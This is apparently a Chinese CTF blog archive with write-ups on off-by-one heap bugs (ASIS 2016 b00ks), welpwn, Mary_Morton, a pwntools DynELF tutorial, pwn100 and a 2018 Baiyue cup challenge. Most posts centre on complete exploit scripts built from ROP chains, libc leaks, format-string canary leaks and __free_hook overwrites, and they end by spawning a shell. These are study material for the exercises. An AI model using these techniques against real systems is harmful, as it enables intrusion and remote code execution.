xfgg


  • Home

  • Tags

  • Categories

  • Archives

off by one

Posted on 2019-10-09 | In ctf-wiki

off by one漏洞原理

1
2
3
4
5
6
7
严格来说 off-by-one 漏洞是一种特殊的溢出漏洞,off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节。

off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的size 正好就只多了一个字节的情况。其中边界验证不严通常包括

使用循环语句向堆块中写入数据时,循环的次数设置错误(这在C 语言初学者中很常见)导致多写入了一个字节。
字符串操作不合适
一般来说,单字节溢出被认为是难以利用的,但是因为Linux 的堆管理机制ptmalloc 验证的松散性,基于Linux 堆的off-by-one 漏洞利用起来并不复杂,并且威力强大。此外,需要说明的一点是off-by-one 是可以基于各种缓冲区的,比如栈、bss 段等等,但是堆上(heap based) 的off-by-one 是CTF 中比较常见的。我们这里仅讨论堆上的off-by-one 情况。

off by one利用思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
1.溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠从而泄露其他块数据,或是覆盖其他块数据。也可使用NULL字节溢出的方法
2.溢出字节为NULL字节:在size为0x100的时候,溢出NULL字节可以使得prev_in_use位被清,这样前块会被认为是free块。(1)这时可以选择使用unlink方法(见unlink部分)进行处理。(2)另外,这时prev_size域就会启用,就可以伪造prev_size,从而造成块之间发生重叠。此方法的关键在于unlink的时候没有检查按照prev_size找到的块的后一块(理论上是当前正在unlink的块)与当前正在unlink的块大小是否相等。

C语言代码示例:
int my_gets(char *ptr,int size)
{
int i;
for(i=0;i<=size;i++)
{
ptr[i]=getchar();
}
return i;
}
int main()
{
void *chunk1,*chunk2;
chunk1=malloc(16);
chunk2=malloc(16);
puts("Get intput");
my_gets(chunk1,16);
return 0;
}
我们自己编写的my_gets 函数导致了一个off-by-one 漏洞,原因是for 循环的边界没有控制好导致写入多执行了一次,这也被称为栅栏错误
wikipedia: 栅栏错误(有时也称为电线杆错误或者灯柱错误)是差一错误的一种。如以下问题:
建造一条直栅栏(即不围圈),长30 米、每条栅栏柱间相隔3 米,需要多少条栅栏柱?
最容易想到的答案10 是错的。这个栅栏有10 个间隔,11 条栅栏柱。

没输入前:
0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <=== chunk2
0x602030: 0x0000000000000000 0x0000000000000000
输入后:
0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x0000000000000041 0x0000000000000021 <=== chunk2
0x602030: 0x0000000000000000 0x0000000000000000

示例2:
字符串的溢出操作
int main(void)
{
char buffer[40]="";
void *chunk1;
chunk1=malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
}
程序乍看上去没有任何问题(不考虑栈溢出),可能很多人在实际的代码中也是这样写的。但是strlen和strcpy的行为不一致却导致了off-by-one的发生。strlen是我们很熟悉的计算ascii字符串长度的函数,这个函数在计算字符串长度时是不把结束符'\x00'计算在内的,但是strcpy在复制字符串时会拷贝结束符'\x00'。这就导致了我们向chunk1中写入了25个字节,我们使用gdb进行调试可以看到这一点。

输入前:
0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000411 <=== next chunk
输入后:
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x4141414141414141 0x0000000000000400

可以看到next chunk的size域低字节被结束符'\x00'覆盖,这种又属于off-by-one的一个分支称为NULL byte off-by-one,我们在后面会看到off-by-one与NULL byte off-by-one在利用上的区别。还是有一点就是为什么是低字节被覆盖呢,因为我们通常使用的CPU的字节序都是小端法的,比如一个DWORD值在使用小端法的内存中是这样储存的
DWORD 0x41424344
内存0x44,0x43,0x42,0x4

实例1 asis ctf 2016 b00ks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
题目介绍
选单式程序
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit

程序提供了创建、删除、编辑、打印图书的功能。题目是64 位程序,保护如下所示。


Canary : No
NX : Yes
PIE : Yes
Fortify : No
RelRO : Full
程序每创建一个book 会分配0x20 字节的结构来维护它的信息


struct book
{
int id;
char *name;
char *description;
int size;
}
create ¶
book 结构中存在name 和description , name 和description 在堆上分配。首先分配name buffer ,使用malloc ,大小自定但小于32 。


printf("\nEnter book name size: ", *(_QWORD *)&size);
__isoc99_scanf("%d", &size);
printf("Enter book name (Max 32 chars): ", &size);
ptr = malloc(size);
之后分配description ,同样大小自定但无限制。


printf("\nEnter book description size: ", *(_QWORD *)&size);
__isoc99_scanf("%d", &size);

v5 = malloc(size);
之后分配book 结构的内存


book = malloc(0x20uLL);
if ( book )
{
*((_DWORD *)book + 6) = size;
*((_QWORD *)off_202010 + v2) = book;
*((_QWORD *)book + 2) = description;
*((_QWORD *)book + 1) = name;
*(_DWORD *)book = ++unk_202024;
return 0LL;
}

漏洞

signed __int64 __fastcall my_read(_BYTE *ptr, int number)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]

if ( number <= 0 )
return 0LL;
buf = ptr;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == '\n' )
break;
++buf;
if ( i == number )
break;
}
*buf = 0; //在最后加了个/x00字符 导致了NULL byte off by one 漏洞
return 0LL;
}

解题步骤:
攻击过程:
1.填充满author
2.创建堆块1,覆盖author结尾的\x00,这样我们输出的时候就可以泄露堆块1的地址
3.创建堆块2,为后续做准备,堆块2要申请得比较大,因为mmap申请出来的堆块地址与libc有固定的偏移
4.露堆块1地址,记为first_heap
5.(关键点来了) 这时候的攻击思路是利用编辑author的时候多写了一个\x00字节,可以覆盖到堆块1的地址的最后一位,如果我们提前将堆块1的内容编辑好,按照上述的结构体布置好,name和description我们自己控制,伪造成一个书本的结构体,然后让覆盖过后的地址刚好是book1的description部分的话,我们相当于获得了一个任意地址读写的能力啊
6.后面就简单了,任意读取获得libc地址
7.任意写将__free_hook函数的地址改写成one_gadget地址
tips:__free_hook若没有则不调用,若有将先于free函数调用

测试数据:
Enter author name: AAAAAAAABC

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 1

Enter book name size: 12
Enter book name (Max 32 chars): liu123

Enter book description size: 20
Enter book description: i am liu111111

ctrl+c断下来
gdb-peda$ find AAAABC
Searching for 'AAAABC' in: None ranges
Found 1 results, display max 1 items:
b00ks : 0x555555756044 --> 0x434241414141 ('AAAABC')
gdb-peda$ x /10xg 0x555555756040
0x555555756040: 0x4141414141414141 0x0000000000004342
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x00005555557576b0 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000

为了实现泄漏,首先在author name 中需要输入32 个字节来使得结束符被覆盖掉。之后我们创建book1 ,这个book1 的指针会覆盖author name 中最后的NULL 字节,使得该指针与author name 直接连接,这样输出author name 则可以获取到一个堆指针

io.recvuntil('author name:')
io.sendline('a'*32)

io.recvuntil('>')
io.sendline('1')
io.recvuntil('book name size:')
io.sendline('32')
io.recvuntil('book name(max 32 chars):')
io.sendline('object1')
io.recvuntil('Enter book description:')
io.sendline('object1')

io.recvuntil('>') # print book1
io.sendline('4')
io.recvuntil('Author:')
io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') #<==leak book1
book1_addr = io.recv(6)
book1_addr = book1_addr.lijust(8,'\x00')
book1_addr = u64(book1_addr)

off-by-one覆盖指针低字节¶
程序中同样提供了一种change 功能, change 功能用于修改author name ,所以通过change 可以写入author name ,利用off-by-one 覆盖pointer array 第一个项的低字节。

覆盖掉book1 指针的低字节后,这个指针会指向book1 的description ,由于程序提供了edit 功能可以任意修改description 中的内容。我们可以提前在description 中布置数据伪造成一个book 结构,这个book 结构的description 和name 指针可以由直接控制。

def off_by_one(addr):
addr += 58
io.recvuntil('>') # create fake book in description
io.sendline('3')
fake_book_data = p64(0x1) + p64(addr) + p64(addr) + pack(0xffff)
io.recvuntil('Enter new book description:')
io.sendline(fake_book_data) # <==fake book

io.recvuntil('>') #change author name
io.sendline('5')
io.recvuntil('Enter author name:')
io.sendline('a'*32)#<== off by one

这里在description 中伪造了book ,使用的数据是p64(0x1)+p64(addr)+p64(addr)+pack(0xffff) 。其中addr+58 是为了使指针指向book2 的指针地址,使得我们可以任意修改这些指针值。

exp:
from pwn import *
#context.log_level="debug"
p=process("./b00ks")

def Create(name_size,name,discription_size,discription):
p.sendline('1')
p.recvuntil("size: ")
p.sendline(name_size)
p.recvuntil("Enter book name (Max 32 chars): ")
p.sendline(name)
p.recvuntil("Enter book description size: ")
p.sendline(discription_size)
p.recvuntil("Enter book description: ")
p.sendline(discription)

def Delete(ID):
p.sendline("2")
p.recvuntil("Enter the book id you want to delete: ")
p.sendline(ID)

def Edit(ID,discription):
p.sendline("3")
p.recvuntil("Enter the book id you want to edit: ")
p.sendline(ID)
p.recvuntil("Enter new book description: ")
p.sendline(discription)

def Print():
p.sendline("4")

def Change(author_name):
p.sendline("5")
p.recvuntil("Enter author name: ")
p.sendline(author_name)


#################################leak book1_addr###############################
p.recvuntil("Enter author name: ")
p.sendline("A"*31+"B")
p.recvuntil("> ")
Create("130","jion","32","i am join") #######set fake b00k_addr
p.recvuntil("> ")
Print()
print p.recvuntil("AB")
first_b00k_addr=u64(p.recv(6)+'\00'+'\00')
#gdb.attach(p)
print hex(first_b00k_addr)
####################################leak book1_addr end#######################

###################################set fake b00k in first b00k of discription###############
p.recvuntil("> ")
payload=p64(0x01)+p64(first_b00k_addr+0x38)*2+p64(0xffff)
Edit('1',payload)
##############################make big memrry ####################################
p.recvuntil("> ")
Create('200000','bill','200000',"this is bill")
p.recvuntil("> ")
############################set first b00k to fake b00k############################

Change("A"*30+'B'+'C')
p.recvuntil("> ")
gdb.attach(p)

#############################get second b00k addr(get libc)#######################
Print()
p.recvuntil("Name: ")
second_name_addr=u64(p.recv(6)+'\x00'+'\x00')
print "second_name_addr="+hex(second_name_addr)
#gdb.attach(p)
libc_base_addr=second_name_addr-0x5c2010
print "libc_base_addr="+hex(libc_base_addr)
p.recvuntil("> ")
################################get libc addr end########################################
libc=ELF('libc.so.6')
system_addr = libc.symbols['system'] + libc_base_addr
print "system_addr="+hex(system_addr)
free_hook=libc.symbols["__free_hook"]+libc_base_addr
binsh_addr = libc.search('/bin/sh').next() + libc_base_addr
#gdb.attach(p)
####################################get shell#########################################
payload = p64(binsh_addr) + p64(free_hook) #second_b00k_name=bin_sh second_b00k_discription=free_hook
Edit('1',payload)
payload=p64(system_addr) #free_hook-->system_addr
Edit('2',payload)
Delete('2')
p.interactive()

welpwn

Posted on 2019-09-19 | In 攻防世界

0x01 漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-400h]

write(1, "Welcome to RCTF\n", 0x10uLL);
fflush(_bss_start);
read(0, &buf, 0x400uLL);
echo((__int64)&buf);
return 0;
}

int __fastcall echo(__int64 a1)
{
char s2[16]; // [rsp+10h] [rbp-10h]

for ( i = 0; *(_BYTE *)(i + a1); ++i )
s2[i] = *(_BYTE *)(i + a1);
s2[i] = 0;
if ( !strcmp("ROIS", s2) )
{
printf("RCTF{Welcome}", s2);
puts(" is not flag");
}
return printf("%s", s2);
}

read最多0x400字节,echo会将这些字节拷贝到s2数组中,超过0x18字节即会覆盖返回地址。

0x02 攻击

1
2
3
4
5
6
7
8
9
10
11
由于echo拷贝时,会被\x00截断,所以不能连续覆盖多个地址来rop,

在echo函数ret处下断点,调试可以发现echo返回地址下方即为read时的buf处

所以可以覆盖返回地址为pop pop pop pop ret指令地址,返回时弹出0x18个填充字节和返回地址,返回到buf+0x20处

在buf+0x20处构造rop,先泄露libc基地址,返回到start

重新执行,输入使之执行system('/bin/sh')

下次遇到栈溢出题目一定要多调试,注意栈的结构。

0x03 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
#sh=process('./welpwn')
sh=remote('111.198.29.45',47606)
elf=ELF('./welpwn')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('./libc64-2.19.so')
poprdi_ret=0x4008a3
pop4_ret=0x40089c
puts_plt=elf.plt['puts']
write_got=elf.got['write']
start=0x400630
sh.recvuntil('Welcome to RCTF\n')
payload='a'*0x10+'b'*8+p64(pop4_ret)
payload+=p64(poprdi_ret)+p64(write_got)+p64(puts_plt)+p64(start)
sh.send(payload)
sh.recvuntil('a'*0x10+'b'*8)
sh.recv(3)
write_adr=u64(sh.recv(6).ljust(8,'\x00'))
print 'write_adr: '+hex(write_adr)
#libc_base=write_adr-libc.symbols['write']
libc_base=write_adr-0x0f72b0
print 'libc_base: '+hex(libc_base)
system_adr=libc_base+0x045390
binsh_adr=libc_base+0x18cd57
'''
system_adr=libc_base+libc.symbols['system']
binsh_adr=libc_base+libc.search('/bin/sh\x00').next()
sh.recvuntil('Welcome to RCTF\n')
'''
payload='a'*0x10+'b'*8+p64(pop4_ret)
payload+=p64(poprdi_ret)+p64(binsh_adr)+p64(system_adr)
sh.send(payload)
sh.interactive()

Mary_Morton

Posted on 2019-09-19 | In 攻防世界

0x01 漏洞点

1
分析能够发现程序有两处漏洞,一处是栈溢出,一处是格式化字符串漏洞

1
2
程序有Canary保护,这个保护就是在栈上面抱一个标志canary,在程序执行结束后,会检测这个标志是否发生变化,若发生变化则程序报错,这个canary通常是在ebp的上面,同一个程序在每一次执行时这个标志canary是不同的,但是在执行过程中这个标志是不会发生变化的
所以,我们就是以利用格式化字符串来读取标志canary,然后再去利用栈溢出去执行system(""/bin/cat ./flag"")

0x02 攻击

1
首先计算一下格式化字符串的偏移,偏移为5,由于程序是64位的,所以%x不可以使用,改用%llx

1
由于buf的大小为0x90,并且标志canary是在ebp的上面,也就是buf的最低处,所以标志canary的偏移就是23

0x03 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *context.arch = "amd64"
context.log_level = "debug"

#p = process("./Mary_Morton")
p = remote('111.198.29.45','54470')
canary = ""
p.sendlineafter("3. Exit the battle \n","2")
p.sendline("%23$p")
sleep(0.5)
canary = p.recv(18)
cc = int(canary,16)
print(cc)
p.sendlineafter("3. Exit the battle \n","1")

payload = 'a'*0x88 + p64(cc) + 'a'*8 + p64(0x4008DA)

p.send(payload)

p.interactive()

dynelf详细教程

Posted on 2019-09-19 | In 百度学习

0x01 DynELF简介

DynELF简介

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
在前面几篇文章中,为了降低难度,很多通过调用库函数system的题目我们实际上都故意留了后门或者提供了目标系统的libc版本。我们知道,不同版本的libc,函数首地址相对于文件开头的偏移和函数间的偏移不一定一致。所以如果题目不提供libc,通过泄露任意一个库函数地址计算出system函数地址的方法就不好使了。这就要求我们想办法获取目标系统的libc。

关于远程获取libc,**pwn**tools在早期版本就提供了一个解决方案——DynELF类。DynELFl的官方文档见此:http://docs.pwntools.com/en/stable/dynelf.html,其具体的原理可以参阅文档和源码。简单地说,DynELF通过程序漏洞泄露出任意地址内容,结合ELF文件的结构特征获取对应版本文件并计算比对出目标符号在内存中的地址。DynELF类的使用方法如下:
io = remote(ip, port)

def leak(addr):
payload2leak_addr = “****” + pack(addr) + “****”
io.send(payload2leak_addr)
data = io.recv()
return data

d = DynELF(leak, pointer = pointer_into_ELF_file, elf = ELFObject)
system_addr = d.lookup(“system”, libc)

使用DynELF时,我们需要使用一个leak函数作为必选参数,指向ELF文件的指针或者使用ELF类加载的目标文件至少提供一个作为可选参数,以初始化一个DynELF类的实例d。然后就可以通过这个实例d的方法lookup来搜寻libc库函数了。其中,leak函数需要使用目标程序本身的漏洞泄露出由DynELF类传入的int型参数addr对应的内存地址中的数据。且由于DynELF会多次调用leak函数,这个函数必须能任意次使用,即不能泄露几个地址之后就导致程序崩溃。由于需要泄露数据,payload中必然包含着打印函数,如write, puts, printf等,我们根据这些函数的特点将其分成两部分分别进行讲解。

0x02 DynELF的使用—write函数

1
2
我们先来看比较简单的write函数。write函数的特点在于其输出完全由其参数size决定,只要目标地址可读,size填多少就输出多少,不会受到诸如‘\0’, ‘\n’之类的字符影响。因此leak函数中对数据的读取和处理较为简单。
我们开始分析例子~/PlaidCTF 2013 ropasaurusrex/ropasaurusrex. 这个32位程序的结构非常简单,一个有栈溢出的read,一个write。没有libc,got表里没有system,也没有int 80h/syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
这种情况下我们就可以使用DynELF来leaklibc,进而获取system函数在内存中的地址。
首先我们来构建一个可以泄露任意地址的ROP链。通过测试我们可以知道栈溢出到EIP需要140个字节,因此我们可以构造一个payload如下:
elf = ELF(‘./ropasaurusrex’) #别忘了在脚本所在目录下放一个程序文件ropasaurusrex

write_addr = elf.symbols['write']

payload = “A”*140
payload += p32(write_addr)
payload += p32(0)
payload += p32(1)
payload += p32(0x08048000)
payload += p32(8)

使用payload打印出ELF文件在内存中的首地址0x08048000,write()运行结束后返回的地址随便填写,编写脚本后发现可以正确输出结果:

1
现在我们需要让这个payload可以被重复使用。首先我们需要改掉write函数返回的地址,以免执行完write之后程序崩溃。那么改成什么好呢?继续改成write是不行的,因为参数显然没办法继续传递。如果使用pop清除栈又会导致栈顶下降,多执行几次就会耗尽栈空间。这里我们可以把返回地址改成start段的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
这段代码是编译器添加的,用于初始化程序的运行环境后,执行完相应的代码后会跳转到程序的入口函数main运行程序代码。因此,在执行完write函数泄露数据后,我们可以返回到这里刷新一遍程序的环境,相当于是重新执行了一遍程序。现在的payload封装成leak函数如下
def leak(addr):
payload = ''
payload += 'A'*140 #padding
payload += p32(write_addr) #调用write
payload += p32(start_addr) #write返回到start
payload += p32(1) #write第一个参数fd
payload += p32(addr) #write第二个参数buf
payload += p32(8) #write第三个参数size
io.sendline(payload)
content = io.recv()[:8]
print("%#x -> %s" %(addr, (content or '').encode('hex')))
return content
我们加了一行print输出leak执行的状态,用于debug。使用DynELF泄露system函数地址,显示如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
我们可以利用这个DynELF类的实例泄露read函数的真正内存地址,用于读取”/bin/sh”字符串到内存中,以便于执行system(“/bin/sh”)。最终脚本如下:
#!/usr/bin/python
#coding:utf-8[/size][/align][align=left][size=3]
from pwn import *

io = remote('172.17.0.2', 10001)[/size][/align][align=left][size=3]
elf = ELF('./ropasaurusrex')

start_addr = 0x08048340
write_addr = elf.symbols['write']
binsh_addr = 0x08049000

def leak(addr):
payload = ''
payload += 'A'*140 #padding
payload += p32(write_addr) #调用write
payload += p32(start_addr) #write返回到start
payload += p32(1) #write第一个参数fd
payload += p32(addr) #write第二个参数buf
payload += p32(8) #write第三个参数size
io.sendline(payload)
content = io.recv()[:8]
print("%#x -> %s" %(addr, (content or '').encode('hex')))
return content

d = DynELF(leak, elf = elf)
system_addr = d.lookup('system', 'libc')
read_addr = d.lookup('read', 'libc')

log.info("system_addr = %#x", system_addr)
log.info("read_addr = %#x", read_addr)

payload = ''
payload += 'A'*140 #padding
payload += p32(read_addr) #调用read
payload += p32(system_addr) #read返回到system
payload += p32(0) #read第一个参数fd/system返回地址,无意义
payload += p32(binsh_addr) #read第二个参数buf/system第一个参数
payload += p32(8) #read第三个参数size

io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

0x03 DynELF的使用—其他输出函数

1
除了“好说话”的write函数之外,一些专门由于处理字符串输出的函数也经常出现在各类CTF pwn题目中,比如printf, puts等。这类函数的特点是会被特殊字符影响,因此存在输出长度不固定的问题。针对这种函数,我们可以参考这篇博文:https://www.anquanke.com/post/id/85129 对leak函数的接收输出部分进行调整。我们看一下例子~/LCTF 2016-pwn100/pwn100,其漏洞出现在sub_40068E()中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
很明显的栈溢出漏洞。
这个程序比较麻烦的一点在于它是个64位程序,且找不到可以修改rdx的gadget,因此在这里我们就可以用到之前的文章中提到的万能gadgets进行函数调用。
首先我们来构造一个leak函数。通过对代码的分析我们发现程序中可以用来泄露信息的函数只有一个puts,已知栈溢出到rip需要72个字节,我们很快就可以写出一个尝试泄露的脚本:
from pwn import *

io = remote("172.17.0.3", 10001)
elf = ELF("./pwn100")

puts_addr = elf.plt['puts']
pop_rdi = 0x400763

payload = "A" *72
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(puts_addr)
payload = payload.ljust(200, "B")
io.send(payload)
print io.recv()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
由于实际上栈溢出漏洞需要执行完puts(“bye~”)之后才会被触发,输出对应地址的数据,因此我们需要去掉前面的字符,所以可以写leak函数如下:
start_addr = 0x400550
pop_rdi = 0x400763
puts_addr = elf.plt['puts']

def leak(addr):
payload = "A" *72
payload += p64(pop_rdi)
payload += p64(addr)
payload += p64(puts_addr)
payload += p64(start_addr)
payload = payload.ljust(200, "B")
io.send(payload)
content = io.recv()[5:]
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content
我们将其扩展成一个脚本并执行,却发现leak出错了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
通过查看输出的leak结果我们可以发现有大量的地址输出处理之后都是0x0a,即一个回车符。从Traceback上看,最根本原因是读取数据错误。这是因为puts()的输出是不受控的,作为一个字符串输出函数,它默认把字符’\x00’作为字符串结尾,从而截断了输出。因此,我们可以根据上述博文修改leak函数:
def leak(addr):
count = 0
up = ''
content = ''
payload = 'A'*72 #padding
payload += p64(pop_rdi) #给puts()赋值
payload += p64(addr) #leak函数的参数addr
payload += p64(puts_addr) #调用puts()函数
payload += p64(start_addr) #跳转到start,恢复栈
payload = payload.ljust(200, 'B') #padding
io.send(payload)
io.recvuntil("bye~\n")
while True: #无限循环读取,防止recv()读取输出不全
c = io.recv(numb=1, timeout=0.1) #每次读取一个字节,设置超时时间确保没有遗漏
count += 1
if up == '\n' and c == "": #上一个字符是回车且读不到其他字符,说明读完了
content = content[:-1]+'\x00' #最后一个字符置为\x00
break
else:
content += c #拼接输出
up = c #保存最后一个字符
content = content[:4] #截取输出的一段作为返回值,提供给DynELF处理
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content

pwn100

Posted on 2019-09-17 | In 攻防世界

源码漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int sub_40068E()
{
char v1; // [rsp+0h] [rbp-40h]

sub_40063D((__int64)&v1, 200);
return puts("bye~");
}

__int64 __fastcall sub_40063D(__int64 a1, signed int a2)
{
__int64 result; // rax
signed int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i >= a2 )
break;
read(0, (void *)(i + a1), 1uLL);
}
return result;
}
栈溢出漏洞

攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
无libc  无system 无bin/sh
xfgg@ubuntu:~/Downloads$ ROPgadget --binary pwn100 --only 'pop|ret'
Gadgets information
============================================================
0x000000000040075c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040075e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400760 : pop r14 ; pop r15 ; ret
0x0000000000400762 : pop r15 ; ret
0x000000000040075b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040075f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400595 : pop rbp ; ret
0x0000000000400763 : pop rdi ; ret
0x0000000000400761 : pop rsi ; pop r15 ; ret
0x000000000040075d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004e1 : ret
0x00000000004005c5 : ret 0xc148

Unique gadgets found: 12

puts只需要一个参数,所以找到pop rdi; ret传参更方便
0x0000000000400763 : pop rdi ; ret

找到可写入bin/sh的地址
gdb-peda$ vmmap
Warning: not running
Start End Perm Name
0x004004c8 0x0040077d rx-p /home/xfgg/Downloads/pwn100
0x00400238 0x00400904 r--p /home/xfgg/Downloads/pwn100
0x00600e10 0x00601068 rw-p /home/xfgg/Downloads/pwn100

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!usr/bin/python
#coding=utf-8
from pwn import *
# context.log_level = 'debug'
io = remote('111.198.29.45',54701)
#io = process("./pwn100")
elf = ELF("/home/xfgg/Downloads/pwn100")

rop1 = 0x40075A #pop rbx_rbp_r12_r13_r14_r15
rop2 = 0x400740 #rdx(r13), rsi(r14), edi(r15d)
pop_rdi_ret = 0x400763
# start_addr = elf.symbols['_start']
start_addr = 0x400550
puts_plt = elf.plt['puts']
read_got = elf.got['read']
binsh_addr = 0x601000


def leak(addr):
payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(addr) + p64(puts_plt) + p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
up = ""
content = ""
count = 0
while True:
c = io.recv(numb=1, timeout=0.5)
count += 1
if up == '\n' and c == "":
content = content[:-1] + '\x00'
break
else:
content += c
up = c
content = content[:4]
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content

d = DynELF(leak, elf = elf)
sys_addr = d.lookup('system', 'libc')
log.info("system_addr => %#x", sys_addr)

payload = "a" * 0x48 + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(binsh_addr) + p64(1)
payload += p64(rop2)
payload += "\x00" * 56 #rop2结束又跳转到rop1,需要再填充7 * 8字节到返回地址
payload += p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
# gdb.attach(io)
io.send("/bin/sh\x00")

payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)
payload = payload.ljust(200, "a")
io.send(payload)

io.interactive()

2018百越杯 pwn

Posted on 2019-09-13 | In 2018百越杯

最近省赛要开始了,把去年的题目重新详细的做一遍 较为简单

借鉴了csdn大佬的博客

栈溢出后多个地址和参数的排列顺序的规则

1
2
3
4
5
6
7
8
9
10
11
12
13
以一个简单的函数为例

void foo(int x)
{
int y;
x++;
y = 4;
}
int main(void)
{
foo(2);
return 0;
}

1
2
在调用函数的时候,要传入的参数会放在RET之下,也就是主函数的栈空间的顶端。并且参数是根据调用的顺序依次向下排序的,也就是越早用到越上面。
执行程序

1
就一个NX(栈不可执行),另外还给了libc.so.6,应该是用ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
溢出点很明显因为是32位的程序,payload填充84+4个字节就能完成溢出

因为程序内没有现成的system函数,所以要从libc里提取,为此需要知道程序运行之后libc的加载地址,这样得到libc的加载基址后就计算出system函数在程序运行中的实际地址了。

为此需要用到ret2plt,可以选的函数有puts、write、printf这些程序已经调用过的函数,因为这样plt表中就会有它们对应的got表地址,got表中就存储着这些函数的实际地址,只要控制程序跳转到函数plt表所在位置,程序会根据plt表去查找got表对应位置,从而得到函数在程序运行时的实际位置,以此调用函数。这里我选择在main函数中已经调用过的write函数来泄露got表中write的实际地址(puts和printf也都可以,区别在于参数不同)。

payload='a'*(0x54+4)+write_plt_address+game_addr+'1'+write_got_address+'4'

payload先是用88个‘a’填满缓冲区和ebp,随后是plt表中存储write函数的地址(相当于call write函数),然后跟上game函数的起始地址(main函数首地址也行,目的是为了能第二次进行栈溢出),程序执行完call write后栈顶就变成了game_addr,到时候就会把game_addr当作返回地址。接下来就是write的三个参数,文件标识符,字符串指针,字符串大小。我们需要write的实际地址(puts、printf这些程序之前调用过的函数都在got表中存储着,都可以读取),而这个地址就在got表中存储着。

